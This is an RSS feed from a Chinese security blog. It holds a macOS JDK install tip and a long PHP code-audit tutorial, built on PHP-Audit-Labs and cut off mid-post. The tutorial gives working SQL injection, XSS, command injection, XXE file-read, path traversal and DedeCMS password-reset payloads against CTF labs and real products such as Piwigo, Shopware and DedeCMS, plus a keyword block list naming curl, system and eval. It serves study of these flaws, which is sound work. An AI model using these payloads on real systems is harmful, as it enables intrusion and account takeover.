<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>教程分享 &#8211; ChaBug安全</title>
	<atom:link href="/topics/course/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 20 Oct 2020 08:01:48 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Mac安装低版本Jdk解决方案</title>
		<link>/others/2003.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Tue, 20 Oct 2020 08:01:48 +0000</pubDate>
				<category><![CDATA[其他杂乱]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[编程学习]]></category>
		<guid isPermaLink="false">/?p=2003</guid>

					<description><![CDATA[前言 因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误 解决方法 安装包pkg解压以后修改里面的判断版本的代码...]]></description>
										<content:encoded><![CDATA[<ul>
<li>前言</li>
</ul>
<p><strong>因为学习当中需要用到低版本的Jdk，我下载了一个jdk7u67版本，当我兴致勃勃的双击下去之后，却遭遇到这样的一个错误</strong></p>
<p><img src="/wp-content/uploads/2020/10/20201020154148.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020154602.png" alt="" /></p>
<ul>
<li>解决方法</li>
</ul>
<p><strong>安装包pkg解压以后修改里面的判断版本的代码，然后在打包安装就可以了。</strong></p>
<h2>操作步骤</h2>
<ul>
<li>将安装包JDK 7 Update 67.pkg解压成unpkg包</li>
</ul>
<pre><code class="line-numbers">╰─➤  pkgutil --expand JDK 7 Update 67.pkg /tmp/jdk.unpkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020154840.png" alt="" /></p>
<ul>
<li>进入jdk.unpkg，里面有个Distribution的文件，输入vim Distribution编辑此文件</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155050.png" alt="" /></p>
<ul>
<li>编辑文件，修改验证逻辑</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155303.png" alt="" /></p>
<pre><code class="line-numbers">function pm_install_check() {
  return true;
}
</code></pre>
<ul>
<li>修改完如图</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155345.png" alt="" /></p>
<ul>
<li>再次打包成pkg</li>
</ul>
<pre><code class="line-numbers">pkgutil --flatten /tmp/jdk.unpkg /tmp/jdk.pkg
</code></pre>
<p><img src="/wp-content/uploads/2020/10/20201020155533.png" alt="" /></p>
<ul>
<li>安装低版本Jdk</li>
</ul>
<p><img src="/wp-content/uploads/2020/10/20201020155640.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/10/20201020155709.png" alt="" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php代码审计学习之函数缺陷</title>
		<link>/web/1782.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Fri, 22 May 2020 02:34:49 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[教程分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1782</guid>

					<description><![CDATA[感兴趣的可以参考一下PHP-Audit-Labs 首发地址：php代码审计学习之函数缺陷 in_array函数缺陷 Wish List Code class Challenge {...]]></description>
										<content:encoded><![CDATA[<p><strong>感兴趣的可以参考一下</strong><a class="wp-editor-md-post-content-link" href="https://github.com/hongriSec/PHP-Audit-Labs">PHP-Audit-Labs</a></p>
<p><strong>首发地址：</strong><a class="wp-editor-md-post-content-link" href="https://xz.aliyun.com/t/7765">php代码审计学习之函数缺陷</a></p>
<h2>in_array函数缺陷</h2>
<h3>Wish List</h3>
<ul>
<li>Code</li>
</ul>
<pre><code class="language-php line-numbers">class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this-&gt;file = $file;
    $this-&gt;whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this-&gt;file['name'], $this-&gt;whitelist)) {
      move_uploaded_file(
        $this-&gt;file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this-&gt;file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);
</code></pre>
<ul>
<li>代码理解</li>
</ul>
<p><strong>代码为一个文件上传的代码，如果文件名存在于1-24中，则上传文件</strong></p>
<ul>
<li>in_array函数</li>
</ul>
<pre><code class="line-numbers">in_array
检查数组中是否存在某个值
</code></pre>
<ul>
<li>题解</li>
</ul>
<p><strong>php弱类型比较时，6php会转换为6，6在1-24中间，所以可以进行上传</strong></p>
<h3>piwigo2.7.1实例分析</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308143432.png" alt="" /></p>
<h4>漏洞分析</h4>
<ul>
<li>于picture.php:332中</li>
</ul>
<pre><code class="language-php line-numbers">case 'rate' :
    {
      include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
      rate_picture($page['image_id'], $_POST['rate']);
      redirect($url_self);
    }
</code></pre>
<p><strong>当case为rate时，将变量rate和变量image_id传入functions_rate.inc.php文件中的rate_picture函数</strong></p>
<ul>
<li>include/functions_rate.inc.php:38</li>
</ul>
<pre><code class="language-php line-numbers">or !in_array($rate, $conf['rate_items']))
</code></pre>
<p><strong>查找变量rate是否存在于$conf[&#8216;rate_items&#8217;]当中</strong></p>
<pre><code class="language-php line-numbers">$conf['rate_items']
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308145619.png" alt="" /></p>
<ul>
<li>直接将rate进行了拼接</li>
</ul>
<pre><code class="language-php line-numbers">$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
$query = '
INSERT
  INTO '.RATE_TABLE.'
  (user_id,anonymous_id,element_id,rate,date)
  VALUES
  ('
    .$user['id'].','
    .'\''.$anonymous_id.'\','
    .$image_id.','
    .$rate
    .',NOW())
;';
  pwg_query($query);

  return update_rating_score($image_id);
}
</code></pre>
<p><strong>只要rate为array(0,1,2,3,4,5)便可以进行绕过，而in_array第三位未设置为true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 
</code></pre>
<ul>
<li>sqlmap</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308174418.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308181630.png" alt="" /></p>
<ul>
<li>stop_hack函数</li>
</ul>
<pre><code class="language-php line-numbers">function stop_hack($value){
    $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
    $back_list = explode("|",$pattern);
    foreach($back_list as $hack){
        if(preg_match("/$hack/i", $value))
            die("$hack detected!");
    }
    return $value;
}
</code></pre>
<p><strong>stop_hack用来过滤一些危险函数</strong></p>
<ul>
<li>注入</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308182616.png" alt="" /></p>
<p><strong>获取get的ID，通过stop_hack进行过滤并拼接到sql语句中进行查询</strong></p>
<ul>
<li>报错注入payload</li>
</ul>
<pre><code class="language-php line-numbers">and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200308183821.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs%E9%A2%98%E8%A7%A3/Day1-4/files/README.md
https://xz.aliyun.com/t/2160
</code></pre>
<h2>filter_var函数缺陷</h2>
<h3>Twig</h3>
<pre><code class="language-php line-numbers">// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
  private $twig;

  public function __construct() {
    $indexTemplate = '&lt;img ' .
      'src="https://loremflickr.com/320/240"&gt;' .
      '&lt;a href="{{link|escape}}"&gt;Next slide &amp;raquo;&lt;/a&gt;';

    // Default twig setup, simulate loading
    // index.html file from disk
    $loader = new Twig\Loader\ArrayLoader([
      'index.html' =&gt; $indexTemplate
    ]);
    $this-&gt;twig = new Twig\Environment($loader);
  }

  public function getNexSlideUrl() {
    $nextSlide = $_GET['nextSlide'];
    return filter_var($nextSlide, FILTER_VALIDATE_URL);
  }

  public function render() {
    echo $this-&gt;twig-&gt;render(
      'index.html',
      ['link' =&gt; $this-&gt;getNexSlideUrl()]
    );
  }
}

(new Template())-&gt;render();
</code></pre>
<p><strong>使用escape和filter_var进行过滤</strong></p>
<ul>
<li>escape</li>
</ul>
<p><strong>默认是使用了htmlspecialchars方法进行过滤，</strong></p>
<ul>
<li>filter_var</li>
</ul>
<pre><code class="language-php line-numbers">使用特定的过滤器过滤一个变量
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
</code></pre>
<ul>
<li>htmlspecialchars转义</li>
</ul>
<pre><code class="line-numbers">&amp; (&amp; 符号)  ===============  &amp;amp;
" (双引号)  ===============  &amp;quot;
' (单引号)  ===============  &amp;apos;
&lt; (小于号)  ===============  &amp;lt;
&gt; (大于号)  ===============  &amp;gt;
</code></pre>
<p><strong>默认只过滤双引号，不过滤单引号，只有设置了：quotestyle 选项为ENT_QUOTES才会过滤单引号</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">javascript://comment%250aalert(1)
</code></pre>
<h3>anchor-cms</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309141247.png" alt="" /></p>
<h4>源码分析</h4>
<ul>
<li>themes/default/404.php:9</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309150252.png" alt="" /></p>
<ul>
<li>anchor/functions/helpers.php:34 current_url()函数</li>
</ul>
<pre><code class="language-php line-numbers">function current_url() {
    return Uri::current();
}
</code></pre>
<ul>
<li>system/uri.php:84</li>
</ul>
<pre><code class="language-php line-numbers">public static function current() {
        if(is_null(static::$current)) static::$current = static::detect();
        return static::$current;
    }
</code></pre>
<ul>
<li>detect 方法</li>
</ul>
<pre><code class="language-php line-numbers">public static function detect() {
        // create a server object from global
        $server = new Server($_SERVER);

        $try = array('REQUEST_URI', 'PATH_INFO', 'ORIG_PATH_INFO');

        foreach($try as $method) {

            // make sure the server var exists and is not empty
            if($server-&gt;has($method) and $uri = $server-&gt;get($method)) {

                // apply a string filter and make sure we still have somthing left
                if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
                }
            }
        }

        throw new OverflowException('Uri was not detected. Make sure the REQUEST_URI is set.');
    }
</code></pre>
<p><strong>关键代码</strong></p>
<pre><code class="language-php line-numbers">if($uri = filter_var($uri, FILTER_SANITIZE_URL)) {

                    // make sure the uri is not malformed and return the pathname
                    if($uri = parse_url($uri, PHP_URL_PATH)) {
                        return static::format($uri, $server);
                    }

                    // woah jackie, we found a bad'n
                    throw new ErrorException('Malformed URI');
</code></pre>
<ul>
<li>system/uri.php:126</li>
</ul>
<pre><code class="language-php line-numbers">    public static function format($uri, $server) {
        // Remove all characters except letters,
        // digits and $-_.+!*'(),{}|\\^~[]`&lt;&gt;#%";/?:@&amp;=.
        $uri = filter_var(rawurldecode($uri), FILTER_SANITIZE_URL);

        // remove script path/name
        $uri = static::remove_script_name($uri, $server);

        // remove the relative uri
        $uri = static::remove_relative_uri($uri);

        // return argument if not empty or return a single slash
        return trim($uri, '/') ?: '/';
    }
</code></pre>
<p><strong>没有对xss进行过滤</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://localhost:8888/test/index.php/%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309153333.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309155130.png" alt="" /></p>
<ul>
<li>flag.php</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?&gt;
</code></pre>
<ul>
<li>index.php</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php 
$url = $_GET['url']; // 获取url

if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){  //过滤url
    $site_info = parse_url($url);

    if(preg_match('/sec-redclub.com$/',$site_info['host'])){ //以sec-redclub.com结尾
        exec('curl "'.$site_info['host'].'"', $result);
        echo "&lt;center&gt;&lt;h1&gt;You have curl {$site_info['host']} successfully!&lt;/h1&gt;&lt;/center&gt;
              &lt;center&gt;&lt;textarea rows='20' cols='90'&gt;";
        echo implode(' ', $result);
    } //命令执行

    else{
        die("&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;");
    }

}
else{
    echo "&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;
          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;";
}
?&gt;
</code></pre>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">syst1m://"|ls;"sec-redclub.com
syst1m://"|cat&lt;f1agi3hEre.php;"sec-redclub.com
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200309162636.png" alt="" /></p>
<h2>实例化任意对象漏洞</h2>
<h3>Snow Flake</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">function __autoload($className) { //自动加载
  include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];  //获取get的c与d作为类名与参数

if (class_exists($controllerName)) {
  $controller = new $controllerName($data['t'], $data['v']);
  $controller-&gt;render();
} else {
  echo 'There is no page with this name';
}

class HomeController {
  private $template;
  private $variables;

  public function __construct($template, $variables) {
    $this-&gt;template = $template;
    $this-&gt;variables = $variables;
  }

  public function render() {
    if ($this-&gt;variables['new']) {
      echo 'controller rendering new response';
    } else {
      echo 'controller rendering old response';
    }
  }
}
</code></pre>
<p><strong>如果存在如果程序存在 __autoload函数，class_exists函数就会自动调用方法</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">/?c=../../../../etc/passwd
</code></pre>
<h3>Shopware 5.3.3 （XXE）</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310141611.png" alt="" /></p>
<h4>代码分析</h4>
<ul>
<li>漏洞触发点</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310142234.png" alt="" /></p>
<ul>
<li>打断点</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310143309.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:52</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310143748.png" alt="" /></p>
<ul>
<li>engine/Shopware/Controllers/Backend/ProductStream.php:63</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310144659.png" alt="" /></p>
<p><strong>使用$this->Request()->getParam(&#8216;sort&#8217;)获取sort，然后进入RepositoryInterface类的unserialize方法</strong></p>
<ul>
<li>engine/Shopware/Components/LogawareReflectionHelper.php:56</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310145112.png" alt="" /></p>
<p><strong>调用的是LogawareReflectionHelper类的unserialize方法</strong></p>
<p><strong>$serialized为传入的sort变量，遍历取出className，传入createInstanceFromNamedArguments方法</strong></p>
<ul>
<li>engine/Shopware/Components/ReflectionHelper.php:40</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310145747.png" alt="" /></p>
<p><strong>新建一个反射类，并传入参数，类名与参数都为sort中的，而sort可控</strong></p>
<ul>
<li>发送到burp</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310153139.png" alt="" /></p>
<ul>
<li>修改payload</li>
</ul>
<pre><code class="line-numbers">/test/backend/ProductStream/loadPreview?_dc=1583825465339&amp;sort={"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&amp;conditions={}&amp;shopId=1&amp;currencyId=1&amp;customerGroupKey=EK&amp;page=1&amp;start=0&amp;limit=25
</code></pre>
<ul>
<li>测试</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310160323.png" alt="" /></p>
<ul>
<li>参考</li>
</ul>
<pre><code class="line-numbers">https://www.php.net/manual/zh/simplexmlelement.construct.php
</code></pre>
<h3>CTF</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">&lt;?php

class NotFound{
    function __construct()
    {
        die('404');
    }
}
spl_autoload_register(
    function ($class){
        new NotFound();
    }
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
    $newclass = new $classname($param,$param2);
    var_dump($newclass);
    foreach ($newclass as $key=&gt;$value)
        echo $key.'=&gt;'.$value.'&lt;br&gt;';
}
</code></pre>
<p><strong>当class_exists时，调用__autoload方法，但是__autoload方法不存在，新建了一个spl_autoload_register方法，类似__autoload方法</strong></p>
<ul>
<li>列出文件（GlobIterator类）</li>
</ul>
<pre><code class="language-php line-numbers">public GlobIterator::__construct ( string $pattern [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
</code></pre>
<p><strong>第一个参数为要搜索的文件名，第二个参数为第二个参数为选择文件的哪个信息作为键名</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=GlobIterator&amp;param=./*.php&amp;param2=0
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310165128.png" alt="" /></p>
<ul>
<li>读取flag</li>
</ul>
<pre><code class="line-numbers">http://127.0.0.1:8888/index.php?name=SimpleXMLElement&amp;param=%3C?xml%20version=%221.0%22?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20xxe%20SYSTEM%20%22php://filter/read=convert.base64-encode/resource=f1agi3hEre.php%22%3E]%3E%3Cx%3E%26xxe;%3C/x%3E&amp;param2=2
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200310165415.png" alt="" /><br />
&#8211; 参考</p>
<pre><code class="line-numbers">https://www.php.net/manual/en/function.spl-autoload-register.php
</code></pre>
<h2>strpos使用不当引发漏洞</h2>
<h3>False Beard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Login {
  public function __construct($user, $pass) {
    $this-&gt;loginViaXml($user, $pass);
  }

  public function loginViaXml($user, $pass) {
    if (
      (!strpos($user, '&lt;') || !strpos($user, '&gt;')) &amp;&amp;
      (!strpos($pass, '&lt;') || !strpos($pass, '&gt;'))
    ) {
      $format = '&lt;?xml version="1.0"?&gt;' .
        '&lt;user v="%s"/&gt;&lt;pass v="%s"/&gt;';
      $xml = sprintf($format, $user, $pass);
      $xmlElement = new SimpleXMLElement($xml);
      // Perform the actual login.
      $this-&gt;login($xmlElement);
    }
  }
}

new Login($_POST['username'], $_POST['password']);
</code></pre>
<ul>
<li>strpos</li>
</ul>
<pre><code class="line-numbers">主要是用来查找字符在字符串中首次出现的位置。
</code></pre>
<p><strong>查找代码中是否含有&lt;与>的特殊符号，strpos在没找到指定字符时会返回flase，如果第一个字符找到就返回0，0的取反为1，就可以注入xml进行注入了</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="language-php line-numbers">user=&lt;"&gt;&lt;injected-tag property="&amp;pass=&lt;injected-tag&gt;
</code></pre>
<h3>DeDecms V5.7SP2任意密码重置漏洞</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200311133852.png" alt="" /></p>
<ul>
<li>开启会员登陆并且注册两个会员</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200311140110.png" alt="" /></p>
<ul>
<li>member/resetpassword.php:75 漏洞触发点</li>
</ul>
<pre><code class="language-php line-numbers">else if($dopost == "safequestion")
{
    $mid = preg_replace("#[^0-9]#", "", $id);
    $sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
    $row = $db-&gt;GetOne($sql);
    if(empty($safequestion)) $safequestion = '';

    if(empty($safeanswer)) $safeanswer = '';

    if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)
    {
        sn($mid, $row['userid'], $row['email'], 'N');
        exit();
    }
    else
    {
        ShowMsg("对不起，您的安全问题或答案回答错误","-1");
        exit();
    }

}
</code></pre>
<p><strong>将传入的mid进行查询，查询用户查询对应用户的安全问题、安全答案、用户id、电子邮件等信息，然后当安全问题和答案不为空且等于之前的设置的问题和答案的时候，进入sn函数</strong></p>
<ul>
<li>查看数据表</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312132918.png" alt="" /></p>
<p><strong>当没设置问题答案时，safequestion为0，safeanswer为null，语句变为了</strong></p>
<pre><code class="language-php line-numbers">if($row['safequestion'] == $safequestion &amp;&amp; $row['safeanswer'] == $safeanswer)

$row['safequestion'] == 0 
$row['safeanswer'] == null

if ('0' == ''&amp; null == ''){
    sn()
}

 if(false &amp;&amp; true)
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312134303.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:150</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312135317.png" alt="" /></p>
<ul>
<li>member/inc/inc_pwd_functions.php:73</li>
</ul>
<p><strong>进入newmail函数</strong></p>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312140852.png" alt="" /></p>
<p><strong>如果$send == &#8216;N&#8217;则发送重置邮件</strong></p>
<pre><code class="language-php line-numbers">sendmail($mailto,$mailtitle,$mailbody,$headers);
</code></pre>
<pre><code class="language-php line-numbers">/resetpassword.php?dopost=getpasswd&amp;id=".$mid."&amp;key=".$randval
</code></pre>
<ul>
<li>member/resetpassword.php:96</li>
</ul>
<p><strong>如果$id为空则退出，如果row不为空，则执行</strong></p>
<pre><code class="language-php line-numbers">    if(empty($setp))
    {
        $tptim= (60*60*24*3);
        $dtime = time();
        if($dtime - $tptim &gt; $row['mailtime'])
        {
            $db-&gt;executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
            ShowMsg("对不起，临时密码修改期限已过期","login.php");
            exit();
        }
        require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
    }
</code></pre>
<ul>
<li>member/templets/resetpassword2.htm:95</li>
</ul>
<pre><code class="language-php line-numbers">&lt;input type="hidden" name="dopost" value="getpasswd"&gt;
&lt;input type="hidden" name="setp" value="2"&gt;
&lt;input type="hidden" name="id" value="&lt;?php echo $id;?&gt;" /&gt;
</code></pre>
<p><strong>将setp的属性设置为2</strong></p>
<ul>
<li>member/resetpassword.php:123</li>
</ul>
<pre><code class="language-php line-numbers">elseif($setp == 2) 
    {
        if(isset($key)) $pwdtmp = $key;

        $sn = md5(trim($pwdtmp));
        if($row['pwd'] == $sn)
        {
            if($pwd != "")
            {
                if($pwd == $pwdok)
                {
                    $pwdok = md5($pwdok);
                    $sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
                    $db-&gt;executenonequery($sql);
                    $sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
                    if($db-&gt;executenonequery($sql))
                    {
                        showmsg('更改密码成功，请牢记新密码', 'login.php');
                        exit;
                    }
                }
            }
            showmsg('对不起，新密码为空或填写不一致', '-1');
            exit;
        }
        showmsg('对不起，临时密码错误', '-1');
        exit;
    }
</code></pre>
<p><strong>如果key等于$row[&#8216;pwd&#8217;]，则重置密码成功</strong></p>
<h4>漏洞验证</h4>
<ul>
<li>访问重置密码链接获取key</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=safequestion&amp;safequestion=0.0&amp;safeanswer=&amp;id=3
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312150736.png" alt="" /></p>
<ul>
<li>重置密码</li>
</ul>
<pre><code class="line-numbers">member/resetpassword.php?dopost=getpasswd&amp;id=3&amp;key=VeRkLvEU
</code></pre>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312150922.png" alt="" /></p>
<h3>CTF</h3>
<ul>
<li>环境搭建</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312160331.png" alt="" /></p>
<ul>
<li>buy.php</li>
</ul>
<pre><code class="language-js line-numbers">&lt;script type="text/javascript" src="js/buy.js"&gt;&lt;/script&gt;
</code></pre>
<ul>
<li>bug.js</li>
</ul>
<pre><code class="language-js line-numbers">function buy(){
    $('#wait').show();
    $('#result').hide();
    var input = $('#numbers')[0];
    if(input.validity.valid){
        var numbers = input.value;
        $.ajax({
          method: "POST",
          url: "api.php",
          dataType: "json",
          contentType: "application/json", 
          data: JSON.stringify({ action: "buy", numbers: numbers })
        }).done(function(resp){
            if(resp.status == 'ok'){
                show_result(resp);
            } else {
                alert(resp.msg);
            }
        })
    } else {
        alert('invalid');
    }
    $('#wait').hide();
}
</code></pre>
<p><strong>将用户提交的数字传入到api.php的buy函数</strong></p>
<ul>
<li>api.php</li>
</ul>
<pre><code class="language-php line-numbers">    for($i=0; $i&lt;7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
</code></pre>
<p><strong>由于是==，可进行弱类型比较，传入7个true</strong></p>
<ul>
<li>payload</li>
</ul>
<pre><code class="line-numbers">[true,true,true,true,true,true,true]
</code></pre>
<ul>
<li>购买flag</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200312171526.png" alt="" /></p>
<h2>escapeshellarg与escapeshellcmd使用不当</h2>
<p><strong>escapeshellcmd: 除去字串中的特殊符号</strong><br />
<strong>escapeshellarg 把字符串转码为可以在 shell 命令里使用的参数</strong></p>
<h3>postcard</h3>
<ul>
<li>code</li>
</ul>
<pre><code class="language-php line-numbers">class Mailer {
  private function sanitize($email) {
    if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
      return '';
    }

    return escapeshellarg($email);
  }

  public function send($data) {
    if (!isset($data['to'])) {
      $data['to'] = 'none@ripstech.com';
    } else {
      $data['to'] = $this-&gt;sanitize($data['to']);
    }

    if (!isset($data['from'])) {
      $data['from'] = 'none@ripstech.com';
    } else {
      $data['from'] = $this-&gt;sanitize($data['from']);
    }

    if (!isset($data['subject'])) {
      $data['subject'] = 'No Subject';
    }

    if (!isset($data['message'])) {
      $data['message'] = '';
    }

    mail($data['to'], $data['subject'], $data['message'],
      '', "-f" . $data['from']);
  }
}

$mailer = new Mailer();
$mailer-&gt;send($_POST);
</code></pre>
<p><strong>新建一个MAil类进行邮件发送</strong></p>
<ul>
<li>Php内置函数mail</li>
</ul>
<pre><code class="language-php line-numbers">bool mail (
    string $to , 接收人
    string $subject , 邮件标题
    string $message [, 征文
    string $additional_headers [, 额外头部
    string $additional_parameters ]] 额外参数
)
</code></pre>
<ul>
<li>Linux中的额外参数</li>
</ul>
<pre><code class="line-numbers">-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。
</code></pre>
<ul>
<li>举个例子（原文图）</li>
</ul>
<p><img src="https://maekdown-1300474679.cos.ap-beijing.myqcloud.com/20200429165336.png" alt="" /></p>
<ul>
<li>结果</li>
</ul>
<pre><code class="line-numbers">17220 &lt;&lt;&lt; To: Alice@example.com
 17220 &lt;&lt;&lt; Subject: Hello Alice!
 17220 &lt;&lt;&lt; X-PHP-Originating-Script: 0:test.php
 17220 &lt;&lt;&lt; CC: somebodyelse@example.com
 17220 &lt;&lt;&lt;
